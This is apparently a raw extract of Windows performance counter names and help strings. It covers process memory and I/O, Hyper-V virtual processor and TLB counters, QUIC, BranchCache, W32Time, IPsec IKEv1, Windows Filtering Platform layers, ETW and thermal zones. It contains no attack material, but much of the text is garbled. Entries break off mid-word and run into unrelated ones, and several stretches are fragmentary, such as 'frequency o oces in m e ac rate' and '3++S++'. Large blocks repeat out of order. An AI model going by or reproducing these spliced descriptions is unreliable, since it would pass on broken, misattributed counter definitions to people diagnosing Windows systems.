that are enabled to ETW sessions; multiple instances of a provider are counted only once. 2773 Number of unique tracing providers that have been enabled to a trace session but have not yet registered with ETW. 2775 Number of unique tracing providers that are registered with the tracing subsystem but are not actively enabled to any trace session; multiple registered instances of a provider are counted only once. 2777 Number of ETW tracing sessions currently active. 2779 Current size of paged memory allocated for the buffers associated with all active sessions (in bytes). 2781 Current size of non-paged memory allocated for the buffers associated with all active sessions (in bytes). 2683 The Synchronization performance object consists of counters for kernel synchronization. The synchronization object represents each processor as an instance of the object. 2685 Spinlock acquires/sec is the rate of spinlock acquisitions. It includes the basic spinlocks, queued spinlocks, in-stack queued spinlocks, and shared spinlocks acquisitions. 2687 Spinlock contentions/sec is the rate of spinlock contentions. It includes the basic spinlocks, queued spinlocks, in-stack Base is the current base priority of this process. Threads within a process can raise and lower their own base priority relative to the process' base priority. 2925 Elapsed Time is the amount of time that has passed since the process was created. 2927 Process ID is the unique identifier of this process. Process ID numbers are reused, so they only identify a process for the lifetime of that process. 2929 Creating Process ID is the Process ID of the process that created this process. The creating process may have terminated, so this value may no longer identify a running process. 2931 Pool Paged Bytes is the size, in bytes, of the paged kernel memory allocated by the kernel on behalf of this process. 2933 Pool Nonpaged Bytes is the size, in bytes, of the nonpaged kernel memory allocated by the kernel on behalf of this process. 2935 Handle Count is the total number of handles currently open by this process. 2937 IO Read Operations/sec is the rate at which the process is issuing read operations to file, network, or other device handles. 2939 IO Write Operations/sec is the rate at which the process is issuing write operations to file, network, or other device handles. 2941 IO Data Operations/sec is the rate at which the process is issuing read and write operations to file, network, or other device handles. 2943 IO Other Operations/sec is the rate at which the process is issuing operations that are neither read nor write operations (such as device control operations). 2945 IO Read Bytes/sec is the rate at which the process is reading data from file, network, or other device handles. 2947 IO Write Bytes/sec is the rate at which the process is writing data to file, network, or other device handles. 2949 IO Data Bytes/sec is the rate at which the process is reading and writing to file, network, or other device handles. 2951 IO Other Bytes/sec is the rate at which the process is transferring data for operations that are neither read nor write operations (such as device control operations). 2953 Working Set - Private is th bytes, of the virtual address ranges reserved within the process. Reserved address ranges consume no physical memory or disk space unless they are committed. The operating system may reserve virtual address ranges within a process for system use. 2907 Virtual Bytes is the current size, in bytes, of the virtual address ranges reserved within the process. Reserved address ranges consume no physical memory or disk space unless they are committed. The operating system may reserve virtual address ranges within a process for system use. 2909 Page Faults/sec is the rate at which page faults occur in this process. A page fault occurs when a CPU attempts to access a virtual memory page that is not in the process working set. Page faults can occur for a variety of reasons such as memory allocation, access to a memory-mapped file, trimming of the working set, or an attempt to access an invalid address. 2911 Working Set Peak is the maximum size, in bytes, of the working set of this process. The working set is the set of memory pages touched recently by the threads in the process. If free memory in the computer is above a threshold, pages are left in the working set of a process even if they are not in use. 2913 Working Set is the current size, in bytes, of the working set of this process. The working set is the set of memory pages touched recently by the threads in the process. If free memory in the computer is above a threshold, pages are left in the working set of a process even if they are not in use. 2915 Page File Bytes Peak is the maximum amount of virtual memory, in bytes, that this process has reserved for use in physical memory or paging file(s). 2917 Page File Bytes is the current amount of virtual memory, in bytes, that this process has reserved for use in physical memory or paging file(s). 2919 Private Bytes is the current size, in bytes, of memory that this process has allocated that cannot be shared with other processes. 2921 Thread Count is the number of threads currently active in this process. 2923 Priorityrformance will accurately reflect the performance of these processors. 2665 Processor Utility is the amount of work a processor is completing, as a percentage of the amount of work the processor could complete if it were running at its nominal performance and never idle. On some processors, Processor Utility may exceed 100%. 2669 Privileged Utility is the amount of work a processor is completi d 10 the r policy, or by 2675 Performance Limit Flags indicate reasons why the processor performan frequency o oces in m e ac rate than Processo equency, which only reflects the quen ts of counte tual TLB by guest code on the virtual processor. 14357 The rate of explicit flushes of one address space by guest code on the virtual processor. 14359 The rate of explicit flushes of a virtual address range in all address spaces by guest code on the virtual processor. 14361 The rate of explicit flushes of a virtual address range in one address space by guest code on the virtual processor. 14363 The rate of page table evictions in the virtual TLB. 14365 The rate of reclamations of unreferenced page tables in the virtual TLB. 14367 The rate of page table resets in the virtual TLB. 14369 The rate of page table validations to remove stale entries in the virtual TLB. 14371 The rate of APIC TPR accesses by guest code on the virtual processor. 14373 The rate of write intercepts on guest page tables by guest code on the virtual processor. 14375 The rate of synthetic interrupts delivered to the virtual processor. 14377 The rate of interrupts (including synthetic interrupts) delivered to the virtual processor. 14379 The rate of APIC inter-processor interrupts (including to self) sent by the virtual processor. 14381 The rate of APIC interrupts sent by the virtual processor to itself. 14383 The rate of Guest Physical Address Space hypercalls made by guest code on the virtual processor. 14385 The rate of Logical Processor hypercalls made by guest code on the virtual processor. 14387 The rate of Long Spin Wait hypercalls made by guest code on the virtual processor. 14389 The rate of other hypercalls made by guest code on the virtual processor. 14391 The rate of Synthetic Interrupt hypercalls made by guest code on the virtual processor. 14393 The rate of Virtual Interrupt hypercalls made by guest code on the virtual processor. 14395 The rate of Virtual MMU hypercalls made by guest code on the virtual processor. 14397 The rate of Virtual Processor hypercalls made by guest code on the virtual processor. 14399 The rate of hardware interrupts from attached devices on the virtual processor. 14401 The rate of nested page fault exceptnstruction. 14305 The rate of other intercepts triggered by guest code on the virtual processor. 14307 The average time (in nanoseconds) spent processing other intercepts. 14309 The rate of external interrupts received by the hypervisor while executing guest code on the virtual processor. 14311 The average time (in nanoseconds) spent processing an external interrupt. 14313 The rate of intercepts due to a task priority (TPR) reduction by guest code on the virtual processor. 14315 The average time (in nanoseconds) spent processing a pending interrupt intercept. 14317 The rate of emulated instructions while executing guest code on the virtual processor. 14319 The average time (in nanoseconds) spent emulating an instruction. 14321 The rate of debug register accesses by guest code on the virtual processor. 14323 The average time (in nanoseconds) spent handling a debug register access. 14325 The rate of page fault exceptions intercepted by the hypervisor while executing guest code on the virtual processor. 14327 The average time (in nanoseconds) spent processing a page fault intercept. 14329 The rate of map operations for guest page table pages. 14331 The rate of virtual TLB misses on large pages. 14333 The rate of virtual TLB misses on 4K pages. 14335 The rate of page fault exceptions delivered to the guest. 14337 The rate of APIC MMIO register accesses by guest code on the virtual processor. 14339 The rate of IO intercept messages sent to the parent partition. 14341 The rate of memory intercept messages sent to the parent partition. 14343 The rate of APIC EOI register writes by guest code on the virtual processor. 14345 The rate of other intercept messages sent to the parent partition. 14347 The rate of page table allocations in the virtual TLB. 14349 The rate of migrations by the virtual processor to a different logical processor. 14351 The rate of address space evictions in the virtual TLB. 14353 The rate of address space switches by guest code on the virtual processor. 14355 The rate of explicit flushes of the virTLB. 14249 The number of free pages in the nested TLB. 14251 The rate of pages trimmed from the nested TLB. 14253 The rate of pages shattered 14255 The rate of pages recombined 14257 The effective CPPC request value for the partition. 14259 The total number of flushes of I/O TLBs of the partition. 14261 Information on virtual processors 14263 The total time (in 100ns) spent by the virtual processor in guest and hypervisor code. 14265 The total time (in 100ns) spent by the virtual processor in hypervisor code. 14267 The time (in 100ns) spent running on remote node(s). 14269 The total time (in 100ns) spent by the virtual processor in guest and hypervisor code, normalized to peak frequency. 14271 The index of the ideal logical processor for this virtual processor. 14273 The rate of hypercalls made by guest code on the virtual processor. 14275 The average time (in nanoseconds) spent processing a hypercall. 14277 The rate of INVLPG instructions executed by guest code on the virtual processor. 14279 The average time (in nanoseconds) spent processing an INVLPG instruction. 14281 The rate of control register accesses by guest code on the virtual processor. 14283 The average time (in nanoseconds) spent processing a control register access. 14285 The rate of IO instructions executed by guest code on the virtual processor. 14287 The average time (in nanoseconds) spent processing an IO instruction. 14289 The rate of HLT instructions executed by guest code on the virtual processor. 14291 The average time (in nanoseconds) spent processing a HLT instruction. 14293 The rate of MWAIT instructions executed by guest code on the virtual processor. 14295 The average time (in nanoseconds) spent processing an MWAIT instruction. 14297 The rate of CPUID instructions executed by guest code on the virtual processor. 14299 The average time (in nanoseconds) spent processing a CPUID instruction. 14301 The rate of MSR instructions executed by guest code on the virtual processor. 14303 The average time (in nanoseconds) spent processing an MSR io client 11127 Performance counters for SMB BranchCache for reduced bandwidth consumption 11129 Bytes requested from BranchCache 11131 Bytes received from BranchCache 11133 Bytes published back to BranchCache 11135 Bytes not found in BranchCache and retrieved from the server 11137 Count of hash requests sent to the server for BranchCache lookup 11139 Count of hash requests successfully receieved back from the server for BranchCache lookup 11141 Bytes of hash data successfully received back from the server for BranchCache lookup 11143 Count of prefetch operations queued to retrieve or publish BranchCache data 11145 Bytes read by the BranchCache prefetcher service from the Client Side Cache 11147 Bytes read by the BranchCache prefetcher from the server 11149 Transparently cached bytes read by applications from the Client Side Cache 11151 Transparently cached bytes read by applications from the server 11153 Transparently cached bytes read by applications from the server and not cached by the client 2241 This counter set measures various QUIC activity for performance diagnositcs. 2243 Total number of created QUIC connections 2245 Rate of created QUIC connections 2247 Total number of failed handshake QUIC connections 2249 Rate of failed handshake QUIC connections 2251 Total number of QUIC connections rejected by an application 2253 Rate of QUIC connections rejected by an application 2255 Total number of QUIC connections resumed 2257 Rate of QUIC connections resumed 2259 Current number of active QUIC connections 2261 Current number of connected QUIC connections 2263 Total number of QUIC connections shutdown with a protocol error 2265 Rate of QUIC connections shutdown with a protocol error 2267 Total number of QUIC connection attempts with no matching ALPN 2269 Rate of QUIC connection attempts with no matching ALPN 2271 Current number of active QUIC streams 2273 Rate of QUIC packets suspected lost 2275 Rate of QUIC packets dropped 2277 Rate of QUIC packets failing decryption 2279 Rate of QUIC UDP Datagrams Received 2281tem clock frequency by W32Time in nominal clock units. This counter helps visualize the finer adjustments being made by W32time to synchronize the local clock. 3139 This value reflects the adjustment made to the local system clock frequency by W32Time in Parts Per Billion (PPB) units. 1 PPB adjustment imples the system clock was adjusted at a rate of 1 nanosecond per second. The smallest possible adjustment can vary and can be expected to be in the order of 100's of PPB. This counter helps visualize the finer actions being taken by W32time to synchronize the local clock. 3141 Most recent roundtrip delay experienced by the NTP Client in receiving a response from the server in microseconds. This is the time elapsed on the NTP client between transmitting a request to the NTP server and receiving a valid response from the server. This counter helps characterize the delays experienced by the NTP client. Larger or varying roundtrips can add noise to NTP time computations, which in turn may affect the accuracy of time synchronization through NTP. 3143 Active number of NTP Time sources being used by the NTP Client. This is a count of active, distinct IP addresses of time servers that are responding to this client's requests. This number may be larger or smaller than the configured peers, depending on DNS resolution of peer names and current reachability. 3145 Number of requests received by the NTP Server (Requests/Sec). 3147 Number of requests answered by NTP Server (Responses/Sec). 2317 Total events of EventSources delivery into the collector 2319 Forwarded events of EventSource nodes into the collector-received 2321 Lost events of EventSource nodes within the collector 2323 Batch events of EventSource nodes received per PerfBatchReportInterval (default: 2000 ms/2 sec if missed) under EventCollector\Globals regtree 2325 Batch events of EventSource nodes dropped per PerfBatchReportInterval (default: 2000 ms/2 sec if missed) under EventCollector\Globals regtree 2327 System timestamp of latest Batch 4311 This ce of entries into a halt state by the processor. 14097 The hardware cost of transitions into the hypervisor. 14099 The total time (in nanoseconds) spent switching between virtual processors. 14101 C1 Transitions/sec is the rate that CPU enters the C1 low-power idle state. 14103 % C1 Time is the percentage of time the proce % C3 Ti ime is a subset of the total processor idle time. 14113 Index of the al p ue t ates o binding. Sequence Number. 14117 loba 4121 The rate of hardware interrupts on the processor (excluding hypervisor interrupts). 14085 The rate of virtual processor context switches on the processor. 14087 The rate of hypervisor inter-processor interrupts delivered to the processor. 14089 The rate of hypervisor scheduler interrupts on the processor. 14091 The rate of hypervisor timer interrupts on the processor. 14093 The rate of hypervisor inter-processor interrupts sent by the processor. 14095 The rate of entries into a halt state by the processor. 14097 The hardware cost of transitions into the hypervisor. 14099 The total time (in nanoseconds) spent switching between virtual processors. 14101 C1 Transitions/sec is the rate that CPU enters the C1 low-power idle state. 14103 % C1 Time is the percentage of time the processor spends in the C1 low-power idle state. % C1 Time is a subset of the total processor idle time. 14105 C2 Transitions/sec is the rate that CPU enters the C2 low-power idle state. 14107 % C2 Time is the percentage of time the processor spends in the C2 low-power idle state. % C2 Time is a subset of the total processor idle time. 14109 C3 Transitions/sec is the rate that CPU enters the C3 low-power idle state. 14111 % C3 Time is the percentage of time the processor spends in the C3 low-power idle state. % C3 Time is a subset of the total processor idle time. 14113 Index of the root virtual processor that is affinity bound to this logical processor. A value that is greater than the maximum possible root VP index indicates no binding. 14115 Idle Sequence Number. 14117 The Global TSC count on this logical processor 14119 Counter that accumulates TSC counts for active periods 14121 Counter that accumulates idle time (in 100ns) 14123 Monotonically increasing counter running at processor's nominal rate. 14125 Monotonically increasing counter running at processor's actual rate. 14127 Monotonically increasing counter running at processor's nominal rate. 14129 Monotonically increasing counter running at processor's actual rate. 14131 Proximity Dom number of main mode negotiations initiated by a peer since IPsec was last started. 11553 Main Mode Negotiation Requests Received per Second is the rate of main mode negotiations initiated by a peer. 11555 Active Quick Mode SAs is the number of currently active quick mode security associations. 11557 Pending Quick Mode Negotiations is the number of pending quick mode negotiations. 11559 Quick Mode Negotiations is the number of quick mode negotiations attempted since IPsec was last started. 11561 Quick Mode Negotiations per Second is the rate at which quick mode negotiations are being attempted. 11563 Successful Quick Mode Negotiations is the number of quick mode negotiations completed since IPsec was last started. 11565 Successful Quick Mode Negotiations per Second is the rate of quick mode negotiations completed. 11567 Failed Quick Mode Negotiations is the number of failed quick mode negotiations since IPsec was last started. 11569 Failed Quick Mode Negotiations per Second is the rate of failed quick mode negotiations. 11809 WFP Classify is the set of Windows Filtering Platform (WFP) counters that pertain to classifation calls. 11811 FWPM_LAYER_INBOUND_IPPACKET_V4 11813 FWPM_LAYER_INBOUND_IPPACKET_V4_DISCARD 11815 FWPM_LAYER_INBOUND_IPPACKET_V6 11817 FWPM_LAYER_INBOUND_IPPACKET_V6_DISCARD 11819 FWPM_LAYER_OUTBOUND_IPPACKET_V4 11821 FWPM_LAYER_OUTBOUND_IPPACKET_V4_DISCARD 11823 FWPM_LAYER_OUTBOUND_IPPACKET_V6 11825 FWPM_LAYER_OUTBOUND_IPPACKET_V6_DISCARD 11827 FWPM_LAYER_IPFORWARD_V4 11829 FWPM_LAYER_IPFORWARD_V4_DISCARD 11831 FWPM_LAYER_IPFORWARD_V6 11833 FWPM_LAYER_IPFORWARD_V6_DISCARD 11835 FWPM_LAYER_INBOUND_TRANSPORT_V4 11837 FWPM_LAYER_INBOUND_TRANSPORT_V4_DISCARD 11839 FWPM_LAYER_INBOUND_TRANSPORT_V6 11841 FWPM_LAYER_INBOUND_TRANSPORT_V6_DISCARD 11843 FWPM_LAYER_OUTBOUND_TRANSPORT_V4 11845 FWPM_LAYER_OUTBOUND_TRANSPORT_V4_DISCARD 11847 FWPM_LAYER_OUTBOUND_TRANSPORT_V6 11849 FWPM_LAYER_OUTBOUND_TRANSPORT_V6_DISCARD 11851 FWPM_LAYER_STREAM_V4 11853 FWPM_LAYER_STREAM_V4_DISCARD 11855 FWPM_LAYER_STREAM_V6 1185 since IPsec was last started. 11515 Main Mode Negotiation Requests Received per Second is the rate of main mode negotiations initiated by a peer. 11517 Active Quick Mode SAs is the number of currently active quick mode security associations. 11519 Pending Quick Mode Negotiations is the number of pending quick mode negotiations. 11521 Quick Mode Negotiations is the number of quick mode negotiations attempted since IPsec was last started. 11523 Quick Mode Negotiations per Second is the rate at which quick mode negotiations are being attempted. 11525 Successful Quick Mode Negotiations is the number of quick mode negotiations completed since IPsec was last started. 11527 Successful Quick Mode Negotiations per Second is the rate of quick mode negotiations completed. 11529 Failed Quick Mode Negotiations is the number of failed quick mode negotiations since IPsec was last started. 11531 Failed Quick Mode Negotiations per Second is the rate of failed quick mode negotiations. 11533 IPsec IKEv1 IPv6 is the set of Internet Protocol security (IPsec) Internet Key Exchange version 1 (IKEv1) counters that apply to traffic and connections over Internet Protocol version 6. 11535 Active Main Mode SAs is the number of currently active main mode security associations. 11537 Pending Main Mode Negotiations is the number of pending main mode negotiations. 11539 Main Mode Negotiations is the number of main mode negotiations attempted since IPsec was last started. 11541 Main Mode Negotiations per Second is the rate at which main mode negotiations are being attempted. 11543 Successful Main Mode Negotiations is the number of main mode negotiations completed since IPsec was last started. 11545 Successful Main Mode Negotiations per Second is the rate of main mode negotiations completed. 11547 Failed Main Mode Negotiations is the number of failed main mode negotiations since IPsec was last started. 11549 Failed Main Mode Negotiations per Second is the rate of failed main mode negotiations. 11551 Main Mode Negotiation Requests Received is theConnections Allowed per Second is the rate at which inbound connections are being allowed by the Windows Filtering Platform. 11387 Outbound Connections Allowed per Second is the rate at which outbound connections are being allowed by the Windows Filtering Platform. 11389 Inbound Connections is the number of inbound connections allowed by the Windows Filtering Platform since the computer was last started. 11391 Outbound Connections is the number of outbound connections allowed by the Windows Filtering Platform since the computer was last started. 11393 Active Inbound Connections is the number of current inbound connections allowed by the Windows Filtering Platform. 11395 Active Outbound Connections is the number of current outbound connections allowed by the Windows Filtering Platform. 11397 Allowed Classifies per Second is the rate of Windows Filtering Platform security rule evaluations which allow network activity. 11495 IPsec IKEv1 IPv4 is the set of Internet Protocol security (IPsec) Internet Key Exchange version 1 (IKEv1) counters that apply to traffic and connections over Internet Protocol version 4. 11497 Active Main Mode SAs is the number of currently active main mode security associations. 11499 Pending Main Mode Negotiations is the number of pending main mode negotiations. 11501 Main Mode Negotiations is the number of main mode negotiations attempted since IPsec was last started. 11503 Main Mode Negotiations per Second is the rate at which main mode negotiations are being attempted. 11505 Successful Main Mode Negotiations is the number of main mode negotiations completed since IPsec was last started. 11507 Successful Main Mode Negotiations per Second is the rate of main mode negotiations completed. 11509 Failed Main Mode Negotiations is the number of failed main mode negotiations since IPsec was last started. 11511 Failed Main Mode Negotiations per Second is the rate of failed main mode negotiations. 11513 Main Mode Negotiation Requests Received is the number of main mode negotiations initiated by a peerRequests Received is the number of main mode negotiations initiated by a peer since IPsec was last started. 11777 Main Mode Negotiation Requests Received per Second is the rate of main mode negotiations initiated by a peer. 11779 Active Quick Mode SAs is the number of currently active quick mode security associations. 11781 Pending Quick Mode Negotiations is the number of pending quick mode negotiations. 11783 Quick Mode Negotiations is the number of quick mode negotiations attempted since IPsec was last started. 11785 Quick Mode Negotiations per Second is the rate at which quick mode negotiations are being attempted. 11787 Successful Quick Mode Negotiations is the number of quick mode negotiations completed since c was last start ode Negotiations per atio ompleted. 11791 3++S++ FWPM_LAYER_ALE_AUTH_RECV_ACCEPT_V4_DISCARD 12353 FWPM_LAYER_ALE_AUTH_RECV_ACCEPT_V6 12355 FWPM_LAYER_ALE_AUTH_RECV_ACCEPT_V6_DISCARD 12357 FWPM_LAYER_ALE_AUTH_CONNECT_V4 12359 FWPM_LAYER_ALE_AUTH_CONNECT_V4_DISCARD 12361 FWPM_LAYER_ALE_AUTH_CONNECT_V6 12363 FWPM_LAYER_ALE_AUTH_CONNECT_V6_DISCARD 12365 FWPM_LAYER_ALE_FLOW_ESTABLISHED_V4 12367 FWPM_LAYER_ALE_FLOW_ESTABLISHED_V4_DISCARD 12369 FWPM_LAYER_ALE_FLOW_ESTABLISHED_V6 12371 FWPM_LAYER_ALE_FLOW_ESTABLISHED_V6_DISCARD 12373 FWPM_LAYER_INBOUND_MAC_FRAME_ETHERNET 12375 FWPM_LAYER_OUTBOUND_MAC_FRAME_ETHERNET 12377 FWPM_LAYER_INBOUND_MAC_FRAME_NATIVE 12379 FWPM_LAYER_OUTBOUND_MAC_FRAME_NATIVE 12381 FWPM_LAYER_NAME_RESOLUTION_CACHE_V4 12383 FWPM_LAYER_NAME_RESOLUTION_CACHE_V6 12385 FWPM_LAYER_ALE_RESOURCE_RELEASE_V4 12387 FWPM_LAYER_ALE_RESOURCE_RELEASE_V6 12389 FWPM_LAYER_ALE_ENDPOINT_CLOSURE_V4 12391 FWPM_LAYER_ALE_ENDPOINT_CLOSURE_V6 12393 FWPM_LAYER_ALE_CONNECT_REDIRECT_V4 12395 FWPM_LAYER_ALE_CONNECT_REDIRECT_V6 12397 FWPM_LAYER_ALE_BIND_REDIRECT_V4 12399 FWPM_LAYER_ALE_BIND_REDIRECT_V6 12401 FWPM_LAYER_STREAM_PACKET_V4 12403 FWPM_LAYER_STREAM_PACKET_V6 12405 FWPM_LAYER_INGRESS_VSWITCH_ETHERNET 12407 FWPM_LAYER_EGRESS_VSWITCH_ETHERNET 12409 FWPM_LAYER_INGRESS_VSWITCH_TRANSPORT_V4 12411 FWPM_LAYER_INGRESS_VSWITCH_TRANSPORT_V6 12413 FWPM_LAYER_EGRESS_VSWITCH_TRANSPORT_V4 12415 FWPM_LAYER_EGRESS_VSWITCH_TRANSPORT_V6 12417 FWPM_LAYER_INBOUND_TRANSPORT_FAST 12419 FWPM_LAYER_OUTBOUND_TRANSPORT_FAST 12421 FWPM_LAYER_INBOUND_MAC_FRAME_NATIVE_FAST 12423 FWPM_LAYER_OUTBOUND_MAC_FRAME_NATIVE_FAST 12425 FWPM_LAYER_INBOUND_RESERVED2 12427 FWPM_LAYER_ALE_ACCEPT_REDIRECT_V4 12429 FWPM_LAYER_ALE_ACCEPT_REDIRECT_V6 12431 FWPM_LAYER_OUTBOUND_NETWORK_CONNECTION_POLICY_V4 12433 FWPM_LAYER_OUTBOUND_NETWORK_CONNECTION_POLICY_V6 12435 FWPM_LAYER_IPSEC_KM_DEMUX_V4 12437 FWPM_LAYER_IPSEC_KM_DEMUX_V6 12439 FWPM_LAYER_IPSEC_V4 12441 FWPM_LAYER_IPSEC_V6 12443 FWPM_LAYER_IKEEXT_V4 12445 FWPM_LAYER_IKEEXT_V6 12447 FWPM_LAYER_RPC_UM 12449 FWPM_LAYER_RPC_EPMAP 12451 FWPM_LAYER_RPC_EP_ADDr Second is the rate of Windows Filtering Platform security rule evaluations which allow network activity. 12259 FilterSize is the set of counters that apply to the total size of filters at each WFP layer on the system. 12261 FWPM_LAYER_INBOUND_IPPACKET_V4 12263 FWPM_LAYER_INBOUND_IPPACKET_V4_DISCARD 12265 FWPM_LAYER_INBOUND_IPPACKET_V6 12267 FWPM_LAYER_INBOUND_IPPACKET_V6_DISCARD 12269 FWPM_LAYER_OUTBOUND_IPPACKET_V4 12271 FWPM_LAYER_OUTBOUND_IPPACKET_V4_DISCARD 12273 FWPM_LAYER_OUTBOUND_IPPACKET_V6 12275 FWPM_LAYER_OUTBOUND_IPPACKET_V6_DISCARD 12277 FWPM_LAYER_IPFORWARD_V4 12279 FWPM_LAYER_IPFORWARD_V4_DISCARD 12281 FWPM_LAYER_IPFORWARD_V6 12283 FWPM_LAYER_IPFORWARD_V6_DISCARD 12285 FWPM_LAYER_INBOUND_TRANSPORT_V4 12287 FWPM_LAYER_INBOUND_TRANSPORT_V4_DISCARD 12289 FWPM_LAYER_INBOUND_TRANSPORT_V6 12291 FWPM_LAYER_INBOUND_TRANSPORT_V6_DISCARD 12293 FWPM_LAYER_OUTBOUND_TRANSPORT_V4 12295 FWPM_LAYER_OUTBOUND_TRANSPORT_V4_DISCARD 12297 FWPM_LAYER_OUTBOUND_TRANSPORT_V6 12299 FWPM_LAYER_OUTBOUND_TRANSPORT_V6_DISCARD 12301 FWPM_LAYER_STREAM_V4 12303 FWPM_LAYER_STREAM_V4_DISCARD 12305 FWPM_LAYER_STREAM_V6 12307 FWPM_LAYER_STREAM_V6_DISCARD 12309 FWPM_LAYER_DATAGRAM_DATA_V4 12311 FWPM_LAYER_DATAGRAM_DATA_V4_DISCARD 12313 FWPM_LAYER_DATAGRAM_DATA_V6 12315 FWPM_LAYER_DATAGRAM_DATA_V6_DISCARD 12317 FWPM_LAYER_INBOUND_ICMP_ERROR_V4 12319 FWPM_LAYER_INBOUND_ICMP_ERROR_V4_DISCARD 12321 FWPM_LAYER_INBOUND_ICMP_ERROR_V6 12323 FWPM_LAYER_INBOUND_ICMP_ERROR_V6_DISCARD 12325 FWPM_LAYER_OUTBOUND_ICMP_ERROR_V4 12327 FWPM_LAYER_OUTBOUND_ICMP_ERROR_V4_DISCARD 12329 FWPM_LAYER_OUTBOUND_ICMP_ERROR_V6 12331 FWPM_LAYER_OUTBOUND_ICMP_ERROR_V6_DISCARD 12333 FWPM_LAYER_ALE_RESOURCE_ASSIGNMENT_V4 12335 FWPM_LAYER_ALE_RESOURCE_ASSIGNMENT_V4_DISCARD 12337 FWPM_LAYER_ALE_RESOURCE_ASSIGNMENT_V6 12339 FWPM_LAYER_ALE_RESOURCE_ASSIGNMENT_V6_DISCARD 12341 FWPM_LAYER_ALE_AUTH_LISTEN_V4 12343 FWPM_LAYER_ALE_AUTH_LISTEN_V4_DISCARD 12345 FWPM_LAYER_ALE_AUTH_LISTEN_V6 12347 FWPM_LAYER_ALE_AUTH_LISTEN_V6_DISCARD 12349 FWPM_LAYER_ALE_AUTH_RECV_ACCEPT_V4 123 reauthorizations performed for the NewInboundMCastBCastPacket reason. 12053 Total number of reauthorizations performed for the EDPPolicyChanged reason. 12055 Total number of reauthorizations performed for the ProxyHandleChanged reason. 11399 WFPv6 is the set of Windows Filtering Platform counters that apply to traffic and connections over Internet Protocol version 6. 11401 Inbound Packets Discarded per Second is the rate at which inbound packets are discarded by the Windows Filtering Platform. 11403 Outbound Packets Discarded per Second is the rate at which outbound packets are discarded by the Windows Filtering Platform. 11405 Packets Discarded per Second is the rate at which the total of inbound and outbound packets are discarded by the Windows Filtering Platform. 11407 Blocked Binds is the number of network resource assignment requests blocked by the Windows Filtering Platform since the computer was last started. 11409 Inbound Connections Blocked per Second is the rate at which inbound connections are being blocked by the Windows Filtering Platform. 11411 Outbound Connections Blocked per Second is the rate at which outbound connections are being blocked by the Windows Filtering Platform. 11413 Inbound Connections Allowed per Second is the rate at which inbound connections are being allowed by the Windows Filtering Platform. 11415 Outbound Connections Allowed per Second is the rate at which outbound connections are being allowed by the Windows Filtering Platform. 11417 Inbound Connections is the number of inbound connections allowed by the Windows Filtering Platform since the computer was last started. 11419 Outbound Connections is the number of outbound connections allowed by the Windows Filtering Platform since the computer was last started. 11421 Active Inbound Connections is the number of current inbound connections allowed by the Windows Filtering Platform. 11423 Active Outbound Connections is the number of current outbound connections allowed by the Windows Filtering Platform. 11425 Allowed Classifies ped by IPsec. 11491 Total Inbound Packets Dropped is the total number of inbound packets dropped by IPsec, since the computer was last started. 11493 Inbound Packets Dropped per Second is the rate of inbound packets dropped by IPsec. 11427 WFP is the set of Windows Filtering Platform counters that do not apply to any specific Internet Protocol version. 11429 Provider Count is the number of providers registered with the Windows Filtering Platform. 12011 WFP Reauthorization is the set of Windows Filtering Platform (WFP) counters that pertain to connection reauthorizations. 12013 Total number of inbound reauthorizations performed. 12015 Total number of outbound reauthorizations performed. 12017 Total number of reauthorizations performed for the IPv4 address family. 12019 Total number of reauthorizations performed for the IPv6 address family. 12021 Total number of reauthorizations performed for all other protocols. 12023 Total number of reauthorizations performed for the IPv4 protocol. 12025 Total number of reauthorizations performed for the IPv6 protocol. 12027 Total number of reauthorizations performed for the ICMP protocol. 12029 Total number of reauthorizations performed for the ICMP6 protocol. 12031 Total number of reauthorizations performed for the UDP protocol. 12033 Total number of reauthorizations performed for the TCP protocol. 12035 Total number of reauthorizations performed for the PolicyChange reason. 12037 Total number of reauthorizations performed for the NewArrivalInterface reason. 12039 Total number of reauthorizations performed for the NewNextHopInterface reason. 12041 Total number of reauthorizations performed for the ProfileCrossing reason. 12043 Total number of reauthorizations performed for the ClassifyCompleti eason. 12045 s performed for the al numL r of reauthorizations performed the MidStr/ mIns ion reason. 1204 ations performed for TotalL umber ofevices. cket crypted is/ he number of packets tha uld t be decrypted since the computer was last sta . A pack f packet ed ESP v atio 1475 Packets r of pac rec ess is transferring data for operations that are neither read nor write operations (such as device control operations). 2953 Working Set - Private is the size of the working set, in bytes, that is use for this process only and not shared nor sharable by other processes. 2887 The Thermal Zone Information performance counter set consists of counters that measure aspects of each thermal zone in the system. 2889 Temperature of the thermal zone, in degrees Kelvin. 2891 % Passive Limit is the current limit this thermal zone is placing on the devices it controls. A limit of 100% indicates the devices are unconstrained. A limit of 0% indicates the devices are fully constrained. 2893 Throttle Reasons indicate reasons why the thermal zone is limiting performance of the devices it controls. 2895 Temperature of the thermal zone, in tenths of degrees Kelvin. 2769 The counters in this collection refer to system-wide metrics about the performance of the Event Tracing for Windows subsystem. 2771 Number of distinct event providers that are enabled to ETW sessions; multiple instances of a provider are counted only once. 2773 Number of unique tracing providers that have been enabled to a trace session but have not yet registered with ETW. 2775 Number of unique tracing providers that are registered with the tracing subsystem but are not actively enabled to any trace session; multiple registered instances of a provider are counted only once. 2777 Number of ETW tracing sessions currently active. 2779 Current size of paged memory allocated for the buffers associated with all active sessions (in bytes). 2781 Current size of non-paged memory allocated for the buffers associated with all active sessions (in bytes). 2683 The Synchronization performance object consists of counters for kernel synchronization. The synchronization object represents each processor as an instance of the object. 2685 Spinlock acquires/sec is the rate of spinlock acquisitions. It includes the basic spinlocks, queued spinlocks, in-stack queued spinlocks, and sharedes Cost 14324 Page Fault Intercepts/sec 14326 Page Fault Intercepts Cost 14328 Guest Page Table Maps/sec 14330 Large Page TLB Fills/sec 14332 Small Page TLB Fills/sec 14334 Reflected Guest Page Faults/sec 14336 APIC MMIO Accesses/sec 14338 IO Intercept Messages/sec 14340 Memory Intercept Messages/sec 14342 APIC EOI Accesses/sec 14344 Other Messages/sec 14346 Page Table Allocations/sec 14348 Logical Processor Migrations/sec 14350 Address Space Evictions/sec 14352 Address Space Switches/sec 14354 Address Domain Flushes/sec 14356 Address Space Flushes/sec 14358 Global GVA Range Flushes/sec 14360 Local Flushed GVA Ranges/sec 14362 Page Table Evictions/sec 14364 Page Table Reclamations/sec 14366 Page Table Resets/sec 14368 Page Table Validations/sec 14370 APIC TPR Accesses/sec 14372 Page Table Write Intercepts/sec 14374 Synthetic Interrupts/sec 14376 Virtual Interrupts/sec 14378 APIC IPIs Sent/sec 14380 APIC Self IPIs Sent/sec 14382 GPA Space Hypercalls/sec 14384 Logical Processor Hypercalls/sec 14386 Long Spin Wait Hypercalls/sec 14388 Other Hypercalls/sec 14390 Synthetic Interrupt 